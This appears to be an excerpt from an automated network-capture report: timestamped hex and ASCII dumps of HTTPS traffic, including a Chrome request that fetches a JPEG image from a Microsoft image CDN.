dd bd d9 45 29 14 be 61 00 ba ef fb de 85 70 7a f7 e0 
Data Ascii: <DOs=D-$%c1#s3[+c870O.5.58`!,ksU&|slwWV |nf,<YT0#nq{UHpPA[F`x>2hx~S9)#c Y-#xcpXq|W/u5O1~
=jE)apz

2021-11-25 16:28:57 UTC 4121 IN Data Raw: e4 70 00 c0 6e 54 1c e0 11 4b 73 7f 2d af ee ae 9c 40 a1 f6 41 1a f2 40 3c 84 52 32 09 e7 9e 78 e7 9a 1d c0 9a
06 06 6c 83 fb a7 60 77 49 f2 0c 1e a4 8f 6f 5e b4 d9 af d5 6d ee 20 73 11 71 95 24 29 05 54 1c 86 20 72 49 03 03 eb 55 
3e d4 62 c4 78 3b 18 37 07 a9 f7 5c fb d6 6d cc 60 c9 34 83 e7 62 06 d1 20 c6 dc e0 75 3c e4 7b d3 b1 2d 96 24 bc 95 ad 
d5 c1 6d c1 b7 03 9c 8c e3 19 f5 04 60 71 55 21 41 77 26 23 91 84 cf f3 6d 62 a3 80 7d 71 56 b7 5b 2d 8a 47 14 ac 97 6a 
fe 54 8b e5 1c 32 90 4b 38 6f 51 80 b8 ac d3 1b b3 17 8c 90 15 43 64 90 48 39 e0 29 ed d7 fc e2 8b 21 f4 34 ee ca 59 db 
c9 03 4b e4 09 3f 78 e1 73 b4 11 c7 96 08 1f 78 e7 81 de 9b a6 df 44 66 4f 28 fe e9 54 7c a5 88 71 9f ef 67 d7 ae 45 65 de 
bc 92 4d be e6 46 80 14 21 8a 9d ca 08 c9 1d 0e 32 
Data Ascii: pnTKs-@A@<R2xl`wIo^m sq$)T rIU>bx;7\m`4b u<{-$m`qU!Aw&#mb}qV[-GjT2K8oQCdH9)!4YK?xsxDfO(T
|qgEeMF!2

2021-11-25 16:28:57 UTC 4137 IN Data Raw: c1 ad 3b 15 17 56 ee c0 20 99 08 0a a0 60 02 09 f5 1c 0e 9c 7d 7d ab 12 da 69 e3 63 09 41 b2 46 2d 1b 48 70 
c5 b1 9d 80 8e 41 18 ee 33 f9 d5 ad 3e 79 45 b4 9c 37 9a 02 a8 5c 15 e7 27 2c c4 f2 78 e4 7a 7e 94 08 d7 8d a6 81 e4 31 
48 63 56 52 a6 48 94 12 58 9e 98 3d b3 fa 55 79 e1 2f 21 9e 20 b6 64 81 24 8b f3 1d c4 1f ee ff 00 3e 71 f4 a8 e2 72 54 79 
a1 86 c9 0a f9 d9 e3 77 7c 67 8c 93 d0 d4 37 6e d1 7e f4 99 1c b6 ec bb 71 90 78 00 01 8f e7 54 05 af b6 bb 48 91 c8 5b 
ca 46 66 03 7e 78 3d 76 fb 74 c0 fc 3d 69 f2 2a a4 61 f6 07 62 ab 83 28 03 60 23 8c 8e 3a 7a 55 7b 14 91 53 7c 7f 24 a0 
e3 9c 67 6f 71 83 df 1c 63 f1 a9 e4 b3 5b 9b 88 a2 8a f5 44 8c 03 16 90 12 84 9e bf 37 39 f4 e6 93 1a 29 cd 75 34 56 c8 db
23 92 36 e1 7c c5 ea a3 d3 a6 41 c7 07 eb 49 69 35 
Data Ascii: ;V `}}icAF-HpA3>yE7\',xz~1HcVRHX=Uy/! d$>qrTyw|g7n~qxTH[Ff~x=vt=i*ab(`#:zU{S|$goqc[D79)u4V#6|AIi5

2021-11-25 16:28:57 UTC 4153 IN Data Raw: 9e 7e b4 01 24 93 b8 50 56 3d e3 24 13 d7 8c 67 a1 a8 21 56 57 0f b1 9d 46 06 e2 32 7d f3 ee 2a 50 e6 35 68 
9c 6c 97 8c 8f 63 cf e1 9e 2a 1d 4a f6 18 92 25 62 41 24 2e 23 e4 9f 5c e2 92 d8 7b 96 de 6f 2e 37 95 8a 95 66 db b5 48 
00 e0 75 e7 f0 e2 a9 ac b1 33 19 06 7c cc 70 dd 48 c0 e4 74 eb 9a 8f ed ac b7 02 18 bc c3 23 00 1b 8c f1 e9 d3 1f 8d 3a 
2b 45 38 53 24 98 20 b0 07 b1 3d bd fd 7e b4 fa 5c 3a d8 98 16 8d 36 b0 f2 fe 51 b9 98 e4 0f c7 b1 3d ea 66 6b 74 40 37 
80 78 da 71 d4 1e 9e c2 ab 49 24 d2 a6 30 c9 b4 90 dd 32 d8 e9 81 d3 b5 24 b2 46 b7 02 24 fd ec ac 03 93 9d a0 71 ce 
73 d4 fe 95 32 d4 bb 10 c9 77 23 c8 65 28 b1 30 f9 47 50 38 e3 8e 80 e3 eb 4d 79 24 6f 9d f8 67 5e a5 47 07 3d 78 e6 9d 
7b 20 28 8f 12 72 a0 f1 d4 67 a6 39 ee 6b 33 50 ba 46 b7 40 
Data Ascii: ~$PV=$g!VWF2}*P5hlc*J%bA$.#\{o.7fHu3|pHt#:+E8S$ =~\:6Q=fkt@7xqI$02$F$qs2w#e(0GP8My$og^G=x{ 
(rg9k3PF@

2021-11-25 16:28:57 UTC 4177 IN Data Raw: 00 e5 b1 d4 f1 c7 5f f1 a0 a3 76 38 fc e9 a4 49 65 28 11 77 28 12 73 92 32 46 7d 47 f3 ab 76 cc e0 c9 b0 91 1b 
03 b6 46 c8 52 14 60 f3 83 92 78 ce 71 58 b6 b7 c3 79 98 e6 00 bd 46 31 9c 92 39 e3 f2 fc f9 cd 5c 86 e2 77 f3 dd 09 0b f3 
33 95 f9 89 04 f0 40 c7 41 41 2e 25 bf 39 61 90 24 19 d8 00 3f 31 fe 11 83 91 d8 d2 5c 3a b3 0c 21 32 82 55 c2 81 8e c4 
00 7f 30 7f 0a 86 e6 fa 35 b3 b7 2a 7c c5 57 f4 eb 8c 0e 83 b6 3a 63 92 78 ed 43 5c 07 6d ff 00 2c 0e d8 f9 63 53 95 5e 79 
03 d0 77 3d f3 40 b9 47 db 5e db 59 5c 19 5a 38 de 40 8c ca a7 38 6c f0 07 1c 71 d4 03 55 96 7b 89 2d dd e6 0c 61 38 c9 
8b 2a ae a0 8f e5 c8 a4 65 59 e6 c0 2a 96 cc c6 47 2c 4e 7a 75 e3 b1 f4 e6 92 73 1c 57 11 9e 63 b5 51 b9 23 90 f0 70 72 
4e 7b 03 9f cf b5 01 ca 58 8e 47 85 24 28 55 0b 
Data Ascii: _v8Ie(w(s2F}GvFR`xqXyF19\w3@AA.%9a$?1\:!2U05*|W:cxC\m,cS^yw=@G^Y\Z8@8lqU{-a8*eY*G,NzusWc
Q#prN{XG$(U

2021-11-25 16:28:57 UTC 4209 IN Data Raw: e4 19 c8 cb 31 c1 51 9e 70 07 3c fa e6 b4 e3 9d 76 db c6 58 c5 0b 48 0c 87 61 67 52 4f 5c 7b 0e 47 23 34 1a 
2d 8b 57 ba cb ea 0e 09 f2 e2 30 e1 36 00 3a 01 91 ee 4e 48 a4 17 c2 26 11 a4 86 29 b7 ee 8d 86 72 3d 54 63 a6 47 04 
55 26 b9 68 e3 11 6e ce c7 66 5f dd fd ec 71 c8 eb cf be 7a d4 b6 60 4f 86 56 3b 50 8f dd af 51 9e 79 23 9e 0f 03 9a 56 18 
e7 b4 5b 1b 84 01 cc 81 d7 78 68 b1 95 72 a4 90 46 7b 11 f8 d6 36 a3 22 ba 97 8c 6f 7e 4e 41 23 90 7a fa 9e 3f ad 5c bf 
96 46 ba 48 14 c5 9c 60 b1 fb a1 47 cd ca f4 c9 ee 48 cd 66 4e c9 32 b8 3b 91 49 03 ae e3 90 bc b1 27 92 49 cf 1c d3 02 
dc 30 c5 1c c0 82 c2 d6 54 57 60 23 03 0c 79 ce 3b 8c 74 63 8a d4 8d 8c 72 15 8b cb 91 84 8c a4 b7 4d c1 70 09 c7 04 03 
dc 1f c6 b2 6d 84 69 71 1a db c8 1d 08 56 2c db 87 ca 0f 
Data Ascii: 1Qp<vXHagRO\{G#4-W06:NH&)r=TcGU&hnf_qz`OV;PQy#V[xhrF{6"o~NA#z?\FH`GHfN2;I'I0TW`#y;tcrMpm
iqV,

2021-11-25 16:28:57 UTC 4233 IN Data Raw: e0 75 ea c0 fb ff 00 2a ad 6b e6 45 34 6e 36 ce 1b 0c ca 25 1c 67 83 9e f9 15 a5 6e a9 70 c6 25 73 04 9f 30 06 
45 3b 41 c1 21 4f 7e 78 c1 a1 90 35 20 86 79 80 54 19 d8 14 82 38 50 00 f9 b9 3c e6 89 ed 8d af ee e7 90 11 03 91 e5 2a 
ef 2c 4f 3c 30 38 5c 1e dd c5 17 37 42 06 cd bc 6c 13 20 83 b7 85 24 60 26 e3 9e 31 9c 67 3d ea ab 17 4b a8 b7 a1 62 70 
64 91 86 0e 7f ba a4 13 d3 d7 34 36 ba 81 a2 96 ed 34 88 11 18 91 92 c4 0e 08 0b db 9f bd 9e a3 bf 07 35 7e d4 09 f7 c4 
20 00 fd e5 23 82 47 b9 eb 9e fc d5 6b 4b 8d cc e1 50 ec 51 82 58 0c 0c 8e b8 fa 7e b5 2a 86 82 4d 84 63 85 1d b8 e3 38 
e3 20 e4 52 01 ed 11 90 79 61 c3 b2 82 d8 e9 d3 f1 ce 7d 71 4d 5b 60 ce 80 01 95 19 19 39 fa a9 19 e7 ad 4a 23 6b bc 01 
27 46 ca 63 af 1d 47 d0 d5 af b3 04 62 18 9d bc 94 07 
Data Ascii: u*kE4n6%gnp%s0E;A!O~x5 yT8P<*,O<08\7Bl $`&1g=Kbpd4645~ #GkKPQX~*Mc8 Rya}qM[`9J#k'FcGb

2021-11-25 16:28:57 UTC 4240 IN Data Raw: d3 3f 85 57 8f 5b 59 86 db fc c9 0a 05 03 cb 00 60 03 c2 7a 60 f5 1e f5 6f 52 8a d3 ec 1f 69 4b 92 93 16 51 15 
98 1b 8b c7 92 72 48 c0 52 3d fa d0 fc c9 e6 2b dd 5e 15 9a 44 df b1 50 95 59 64 3d 14 75 01 6a 4d 2b 55 b6 46 11 30 92 
20 ff 00 c5 c6 17 3c 67 3e 95 8e 64 6f 33 e6 3e 79 41 81 e5 8c b7 53 c1 23 de a5 b3 49 8a 48 24 88 c6 8c ca ca 36 e4 00 
46 79 23 d8 fe 14 c9 72 6d e8 74 b6 ef 2b 19 59 51 9c 90 42 82 07 39 3c 13 f8 76 15 22 4d 25 e2 a2 5c 30 09 1a b1 45 1d 
f2 39 03 3e bc 7f 9c 54 36 6a b2 e9 f2 98 9d 92 e9 4f 00 73 11 8c 0c 1c b7 5f bd 8c 7e 35 98 97 ef 6f 1c ee b3 89 01 c9 0c 
c3 20 73 c1 00 74 eb c1 a4 5b 92 43 2f a4 98 b2 34 b8 05 73 90 a0 60 28 e3 a8 ea 00 a8 1a 71 34 88 e9 90 aa a4 ed 50 
4a b1 23 20 ee ee 3a 70 3a 73 48 c8 d2 42 44 b2 2c 8f 
Data Ascii: ?W[Y`z`oRiKQrHR=+^DPYd=ujM+UF0 <g>do3>yAS#IH$6Fy#rmt+YQB9<v"M%\0E9>T6jOs_~5o st[C/4s`(q4
PJ# :p:sHBD,

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:57 UTC 4241 IN Data Raw: a2 59 3c dd 36 76 bb 0d f6 b7 64 11 a4 78 d9 e5 8f bc 19 ba 86 23 a7 18 06 ab 5c 5e 24 32 61 1e 3d f1 15 8d 
44 7c 44 e4 75 3e e3 df bf 15 57 56 86 49 f4 db 8c 47 24 60 32 81 20 56 db 9c e7 83 d3 03 d3 39 a5 ca ca ba 34 ae ae 20 
bd b3 b7 36 91 f9 5b d8 64 16 52 57 9f 94 06 ea 48 5e a3 00 03 c7 4c 57 61 67 78 f7 76 71 79 71 08 25 41 fb c2 ac 1c b6 
39 2c 49 e7 ae 08 fc b9 e6 b8 4d 09 05 fb 08 a7 91 60 40 81 a2 66 19 0a 41 e7 38 eb 90 4f e3 8e 78 ae d2 29 a3 b7 90 98 
ae 3c f5 44 c8 c0 f2 c1 43 c1 c6 79 1d 88 1f 51 f5 43 46 a2 46 b2 db bd cc c4 9f 9c 65 8c 64 64 b7 18 19 e3 eb 8e 9e 95 70 
b0 95 86 c8 a5 88 05 51 e5 75 e4 70 4e 7a 72 33 8c fe 95 56 59 8c 8f f6 59 7f 7d 0a 62 58 e3 8c 12 a5 8a e4 ed 07 b9 e2 
a4 96 fd 65 59 d5 60 68 fc d3 1c a6 25 5f f5 a4 29 1c 
Data Ascii: Y<6vdx#\^$2a=D|Du>WVIG$`2 V94 6[dRWH^LWagxvqyq%A9,IM`@fA8Ox)<DCyQCFFeddpQupNzr
3VYY}bXeY`h%_)

2021-11-25 16:28:57 UTC 4257 IN Data Raw: a8 60 98 9b 79 ca 92 e1 94 e5 bb 8c 0e a0 1c 0e b8 aa 76 eb 0d ad c1 33 5b f9 90 28 2c 36 90 80 0c 70 72 73 
ff 00 eb a0 07 2c a6 fa 41 17 92 4b b4 9b 99 62 f9 62 5c 72 36 83 c8 1c 71 8e f5 2c 3b d5 25 59 41 f2 d4 ec 01 86 37 1f ef 
7b 74 f4 aa 51 c2 9e 74 92 8c cb 32 33 08 f6 b6 36 a9 19 3b 73 d3 8e a6 af c3 30 ba 5d c8 e6 3d a0 11 21 6c 93 8c 75 3d 
49 3f d2 a5 80 c9 de 7b 54 73 1c 51 80 ad e6 19 1b 92 64 c9 01 79 18 ce 0e 3a 56 7d ac 5e 63 42 b0 20 42 88 c4 9f 97 0a 
73 9c 7a 63 ad 69 5c db 4d 2c 7f 66 19 27 fd 6e 14 e5 48 3d 4d 49 67 63 14 7e 55 cc 98 74 4e 76 a9 f4 eb f4 20 76 a0 02 
c2 ce 1f ec f8 92 e2 56 8f e5 06 49 0b 07 25 f9 f6 1d 47 6e dd 6a cc 50 ac 89 84 fd df 03 77 39 2b 91 c1 fa 63 f5 a5 95 60 
92 e2 59 bf 7d 1d 82 e7 68 55 2e 78 5c 2e 4f 4e fd 
Data Ascii: `yv3[(,6prs,AKbb\r6q,;%YA7{tQt236;s0]=!lu=I?{TsQdy:V}^cB Bszci\M,f'nH=MIgc~UtNv vVI%GnjPw9+c`Y}hU.
x\.ON

2021-11-25 16:28:57 UTC 4273 IN Data Raw: 96 62 ae 40 05 32 4f 5c 0f 51 c0 e3 22 92 cf 51 4b 87 8c bc 60 47 82 ae bc 82 0e 71 8e 99 c8 34 ba 84 6c 2e 
61 96 29 04 66 25 05 62 5c 9d ac 08 3d fb 9e bc 1a 75 d3 3c da 84 a5 a5 fb 47 9c db 9e 65 52 32 e4 03 9e 98 24 1f e5 50 
32 db 5e 95 b8 22 36 31 97 04 33 4b c6 47 5e 30 3d 70 45 69 94 06 df 75 c0 f2 e1 00 87 23 ef 06 38 da 76 9e d5 56 44 57 
58 01 78 f6 a0 0a c7 6f 23 1f 5f 5e 4d 58 d4 65 4b e5 9c b1 01 65 da 54 6e dd b4 01 dc 9e a3 8e fc d5 31 09 a4 85 7b a4 
8a 5d b1 5b 17 e0 96 2d 80 48 04 93 d5 98 fb fa f4 e2 9d e2 75 f2 f5 bb a8 f2 bb 20 22 18 96 42 0f c9 fc 39 db c1 f9 48 e7 
d6 ab c2 c2 1d 36 00 a4 87 47 f9 a4 5c ed 75 1d 3a 9e a0 8f ce 96 77 49 a1 90 e0 83 e5 b2 ae 31 82 33 9c 1e f8 20 f5 1d 
31 52 52 28 69 97 50 c5 31 2e f2 a6 c1 b8 05 c0 0c 47 
Data Ascii: b@2O\Q"QK`Gq4l.a)f%b\=u<GeR2$P2^"613KG^0=pEiu#8vVDWXxo#_^MXeKeTn1{][-Hu "B9H6G\u:wI13 1R
R(iP1.G

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

68 192.168.2.4 49876 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:57 UTC 3574 OUT GET /cms/api/am/imageFileData/RWzFJS?ver=b46e HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 
Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2021-11-25 16:28:57 UTC 3689 IN HTTP/1.1 200 OK
Last-Modified: Wed, 24 Nov 2021 02:05:21 GMT
Access-Control-Allow-Origin: *
X-Datacenter: northeu
X-ActivityId: 0f3f1721-8ff2-42eb-a8d6-cdca0f50ba2f
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWzFJS?ver=b46e
X-Source-Length: 730866
Content-Length: 730866
Cache-Control: public, max-age=293806
Expires: Mon, 29 Nov 2021 02:05:43 GMT
Date: Thu, 25 Nov 2021 16:28:57 GMT
Connection: close

2021-11-25 16:28:57 UTC 3690 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 
03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 
15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 
00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 
00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2021-11-25 16:28:57 UTC 3705 IN Data Raw: a3 86 a8 da 11 b9 49 ac a3 24 f6 1b 51 8e ec b3 6f a8 3b 2e cf e2 a8 dd f6 f3 fc 55 72 c6 cd 1d b3 da ac c9 61 
1e e6 ae 47 52 11 91 aa 84 5c 6f 73 29 6e b6 ae 4f dd ab b6 f7 51 ed a9 df 4f 81 a3 e7 e5 5d bf 35 46 91 d9 2b 63 cf 8d bf 
d9 dc 2a 5d 58 c9 59 19 f2 d2 5a 39 8c 8e d8 4c db c3 54 ad 1c bf 70 7c d5 69 ae 2d 2c e3 52 f2 aa ff 00 c0 aa 5b 3b ab 
7b a6 fd dc f1 b7 f1 2f cc 3e 6a e7 75 9d af 6d 11 d0 bd 84 fd d7 35 73 39 f4 f7 93 ab 7c d5 12 d8 ba b6 ca e8 56 31 bb 3f 
fa 0d 49 27 94 bf fc 55 66 b1 d2 4e c9 5c e8 8e 0e 9b 8d d3 d8 e7 d5 4a d4 e9 70 63 5a 5b 88 e3 56 63 e6 d5 49 36 6d c6 
ea ed 56 a8 b5 47 94 e4 a9 b6 94 91 73 fb 43 e5 a8 9a e1 ff 00 bd f3 55 78 92 34 da 7c d5 db 57 fc 9b 7d b9 f3 57 75 0d 
42 1b 22 a2 d5 4d 54 88 56 ea 45 6f bd 56 d6 fd 
Data Ascii: I$Qo;.UraGR\os)nOQO]5F+c*]XYZ9LTp|i-,R[;{/>jum5s9|V1?I'UfN\JpcZ[VcI6mVGsCUx4|W}WuB"MTVEoV

2021-11-25 16:28:57 UTC 3721 IN Data Raw: 78 9a 59 55 76 ee dd f7 ab 67 4d f1 55 b6 a1 70 d1 be d8 be 55 55 eb f3 31 ed 9a e7 9d 5a 90 bb b0 2a 6d 5d 
b4 43 6d a1 dc c9 1c 5b 22 93 e5 53 bb fd 9a b9 6f a6 dd a3 66 3f 97 6e 77 7e 15 bd 0e ab 12 5b ca 9b 76 ed 6d b5 94 9e 
24 44 91 92 28 be 5d db bf c6 b8 be b7 39 b6 ac 38 c5 b9 72 d8 cd b9 b1 9d 77 19 62 6f ba 7e 5d c2 b4 6d d6 da d7 ca 29 
fb a6 93 1b 7f bc d9 ac dd 5b 5e bc b8 8e 74 30 2a ee c6 d9 3f 89 7e 95 c9 5d 25 e5 c3 79 88 cd 2b 2f dd fc 3d 01 ae 98 
b7 55 25 27 62 55 39 df 5d 11 e9 b7 fa 7c 6e cc 64 55 56 5f ee d6 1c 9a 22 3b 33 c7 f2 ff 00 bd fd ea e4 63 bc d4 d1 bf 7b 
2c 91 3a fc df 33 6d db f9 56 8d a7 8c 2f 6c ee 16 3b 96 5b 98 3f da f9 ba fb f5 a2 30 a9 0d 23 2b 8d c2 6f aa 68 e9 ec f4 
38 3c 98 85 c7 49 1b f8 7e 5d df fd 6a b1 fd 8e 2d 
Data Ascii: xYUvgMUpUU1Z*m]Cm["Sof?nw~[vm$D(]98rwbo~]m)[^t0*?~]%y+/=U%'bU9]|ndUV_";3c{,:3mV/l;[?0#+o
h8<I~]j-
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2021-11-25 16:28:57 UTC 3739 IN Data Raw: b9 f2 95 95 bf e5 a2 e7 f1 ea 68 e5 76 d0 97 4e fa f6 3a 49 ae 64 66 d8 2e 7c d6 db f7 a3 f9 7f 53 50 35 cb b7 
22 56 f9 55 97 ef 7e b5 85 1e b0 8a cc 5d bc 87 5f bb d7 e6 53 57 92 e1 17 6c 89 ff 00 ec d1 ac 77 26 11 52 dd 17 5b 56 
bd 49 38 9e 4d ab fc 4c a3 77 f2 a8 a6 be bd 9a 4c f9 ed bb fb db aa a5 d6 a5 6f 6c ab 88 99 5b 8d cd fd e6 a9 6c f5 01 72 
ab bd 67 55 91 4f dd 50 dd 3f 10 28 e6 71 5c d6 d0 d7 d8 d9 6d b9 7a df 5e 95 76 99 e3 f3 7e 6d ab d6 ac 5b 6b ca 8d bf 
ec cd 17 fc 0b b7 7f ad 60 5c ad dc 6c d1 a4 12 4a cd f4 6f cb 6f b5 54 7d 56 e2 d9 56 33 6d 3a f9 99 5d ca a3 ee d3 d2 4b 
dd 25 e1 ec 97 67 d8 ed db 5e b2 92 3d e5 b6 c7 b7 ef 37 b5 45 26 ab 6e d0 f9 86 e6 38 91 5b ef 7d 7a 0d b5 c0 48 a6 69 
18 c8 ac bf 36 df bd f3 71 4f 68 7c bb 57 90 ee 
Data Ascii: hvN:Idf.|SP5"VU~]_SWlw&R[VI8MLwLol[lrgUOP?(q\mz^v~m[k`\lJooT}VV3m:]K%g^=7E&n8[}zHi6qOh|W

2021-11-25 16:28:57 UTC 3898 IN Data Raw: f9 93 48 72 a7 64 74 1a 6f 88 6d fa 4f 78 bb 77 7d ee 3b 56 a5 d4 89 aa cd 13 d9 b7 9b 14 8b fd d3 f7 ab 86 d1 
34 dd 3a ea 49 5a e1 99 b7 7d d5 66 da ab f9 57 a0 5b df ec f3 6d 2c d7 6d bc eb f3 4e bf 7a 3c f0 31 5c b5 aa c6 12 bc 49 
52 49 b8 b2 ab ba 69 f6 6c 1d 77 5c 4b f7 7f ba b5 8d 73 75 25 ab 7d dd a9 c6 df c7 bd 5b f1 56 a4 2d 6c f6 46 db 9d 5b cb 
8d 9b e6 5e 3d c7 ad 73 13 78 9a 5b f8 e0 8d d6 39 e6 8b e6 f9 7f 8b b9 ad a9 4a 52 57 5d 4d 64 f5 69 6a 8e b6 da f0 df 
ab 45 24 5f 22 2e e6 66 fb 8b 9e 9c d5 eb 4b eb 6b 7d 36 02 ed 1b 5e 4b 95 f2 e3 fb cb d7 ef 0e de d5 c0 36 b7 71 0b 79 
61 7f 87 fb db b7 67 f9 d4 da 23 5f de 34 f3 f9 ab 13 2e 37 32 a9 dd bb eb 53 2a 7c ca ed d9 19 38 bb 59 9d 4d fd e5 ba ab 
4b 77 b5 96 3d cc b1 c7 96 ed c6 ef af 41 59 
Data Ascii: HrdtomOxw};V4:IZ}fW[m,mNz<1\IRIilw\Ksu%}[V-lF[^=sx[9JRW]MdijE$_".fKk}6^K6qyag#_4.72S*|8YMKw=AY

2021-11-25 16:28:57 UTC 3914 IN Data Raw: d8 9b e6 68 3e ef cd f5 fe ed 72 76 b7 17 6d fb c1 2f 94 8b 86 56 dd fe 34 96 fa b4 eb e6 1f 99 be 5f 9b 73 7b 
d6 91 c3 a8 a7 6b 33 7b 4f 6b 68 77 53 6b 57 0b 67 3b db 2f 91 14 ff 00 eb 15 5b 76 ef a5 55 93 c5 b7 72 5d 2b de ff 00 a4 
b4 4a 23 56 91 be 6e 38 e4 f4 c7 6a e3 64 d5 9d a3 c7 9b b9 5b e6 5f e1 dc c3 b5 4f 6f 7c 35 0b 3f 2e 35 56 96 4d bf 2f 1f 
7b a5 5a c3 c6 2f 54 28 5b 97 95 ad 4f 49 8e d6 e7 ed 56 d7 76 d7 cd 03 46 a6 35 56 f9 a2 65 3d 54 d5 2b c5 9d ac d8 98 
a7 b6 b8 83 e6 91 60 fb 93 2f 62 0f bf a5 62 78 5f c4 3f 66 b8 b4 b4 bb bc 5d 8d 98 96 d9 9b f8 72 39 e6 ba bd 6f 5e fe cd 
d3 e5 b3 96 26 6d cb e6 f9 8c db 55 94 71 5c 13 8c a9 4b 4d 4b 8a 92 8e a8 c8 b3 d4 23 b3 91 44 fb a0 49 97 72 ee 63 f5 
e7 fc 2a 6d 1f c4 2f ad 5e 5c c5 14 f2 c1 b7 
Data Ascii: h>rvm/V4_s{k3{OkhwSkWg;/[vUr]+J#Vn8jd[_Oo|5?.5VM/{Z/T([OIVvF5Ve=T+`/bbx_?f]r9o^&mUq\KMK#
DIrc*m/^\

2021-11-25 16:28:57 UTC 3922 IN Data Raw: f3 fc ea 71 15 a3 52 3c 96 d4 7a 5b 72 5b 6d 4a 78 e4 61 05 cb 2a 7f ab 8b 6b 7c ea d9 fe 2e 39 fa d6 8d cb 43 
6b 71 04 b1 dc c9 7d e6 29 59 96 45 db f2 91 fc c5 73 37 d1 9b 1b c8 a5 f3 5a 5b 36 f9 7e 5c 6f 56 f5 f7 ad 2b 6b a8 3e c7 
e7 a3 33 2b 37 dd fe 2d a4 f3 5e 7c e1 64 a5 16 53 82 d1 c1 1b 9a 5d 8d b3 c3 3f 9f 79 f6 98 a4 53 bb cc 8c 6f f7 05 bf 95 
63 6a be 15 d3 ee 6f 14 c7 67 25 b2 c7 27 99 f6 98 db fd 62 9e a0 ff 00 5a 95 64 48 64 f2 03 6d 96 56 dc b1 ff 00 13 71 fd 
6b 5e de e6 48 d5 77 c4 ac bb be eb 2e e4 ae 49 54 9c 25 cd 73 67 3f 72 d6 d4 e7 ed 74 1f b0 7f c7 a5 f4 f1 59 ac 86 55 
b6 91 be 55 72 7d 7a e3 fa 52 78 b9 2f 75 4d 5a 2b db 78 96 d2 0d a8 be 5d 8e 55 55 87 f1 0c 9a bb 60 e9 25 e3 46 fb 56 
d9 72 ac cd f2 aa ff 00 3a 7a dd d8 db ac b6 
Data Ascii: qR<z[r[mJxa*k|.9Ckq})YEs7Z[6~\oV+k>3+7-^|dS]?ySocjog%'bZdHdmVqk^Hw.IT%sg?rtYUUr}zRx/uMZ+
x]UU`%FVr:z

2021-11-25 16:28:57 UTC 3954 IN Data Raw: 0b af 10 0b 76 64 f2 b6 b7 f7 b8 fc 31 54 75 2f 10 7d 96 dd 80 dd 73 75 fd d5 f9 be 52 78 a2 3e d1 d8 6a f6 e5 
46 97 da 6c 25 b8 5b 79 22 58 bc a5 f3 15 78 65 5c 71 da a4 be be 8a e2 d5 62 4f 97 f8 95 55 47 cd ff 00 d6 ae 7a c2 de 
e6 df 50 9e 79 5b 6b 48 a5 59 59 7f d5 a8 e7 1f 8d 5d bc f2 a4 87 7d c2 7c ac a6 35 db f2 ed c0 ce 69 ca 09 49 5d dc 99 46
da b6 49 75 a9 5b db cc ae ec de 7b 2e d6 8f fc f7 a4 86 64 69 b1 3a ee 79 37 7d d6 ec 7d c7 4a 8b fb 37 ed 31 c5 29 db 
2a 2a 96 56 dd fa d3 2c ee 7e df 75 6c 62 56 8a 05 c3 4e ca bb 77 28 e3 1e fd 6a ec ac 6b 66 ee f7 f3 1e 96 d6 e9 0c f6 e9
bb ca dd b5 64 dd f7 bd ff 00 3a 86 4b 89 6d a6 88 06 f9 9a 41 bb fa 56 87 93 6c d2 4f 1c 51 2a b7 dd da ad b7 72 ee ed 
d7 eb 51 c9 70 f7 d7 db 25 83 6b 47 fb e9 24 5f 
Data Ascii: vd1Tu/}suRx>jFl%[y"Xxe\qbOUGzPy[kHYY]}|5iI]FIu[{.di:y7}}J71)**V,~ulbVNw(jkfd:KmAVlOQ*rQp%kG$_

2021-11-25 16:28:57 UTC 3986 IN Data Raw: 37 32 b2 11 9c 70 3e 63 f4 ad d4 7d aa 6e 6f de fd 0c 95 0f 69 52 ef 77 e6 cd 7f 85 37 da 9f 84 7c 64 da a4 1a 
be a5 a7 de de 6e 5f 3e d9 53 73 2b 10 c4 30 6e 36 f1 c5 5d f1 6f c4 cf 12 de 78 9b 57 83 53 d6 a7 68 2e a4 dd 2c 0b 38 
54 65 03 e4 25 41 e0 d7 73 73 f0 e6 eb e1 fe 8f f6 9d 73 53 69 e5 9e 31 1d 92 c7 a5 cd 02 4c f8 f9 63 0e c0 0c 1c 7d ee d5
e0 5f 12 b4 bb c5 d7 22 9e db 4f 6b 6b 66 88 2a aa c9 e6 b2 b2 f1 82 dc 7e 15 cf 0a b1 c4 d6 b5 49 2d 15 be e3 4c 46 1d 
fb 48 c5 47 58 ab 6d f9 77 34 ee d2 f6 69 2d ae 65 97 6b 7f cb 49 23 fe 2f f3 8a 86 f3 c4 32 34 df 60 f9 be cf ce d6 dd b7 
e6 1e 9c d4 36 6b 77 67 6a d7 17 0c be 6a af ef 15 57 6a af e3 eb cd 64 cd 35 b5 e4 d8 b7 dd 13 2b 1d b2 37 dd fe 78 ad 
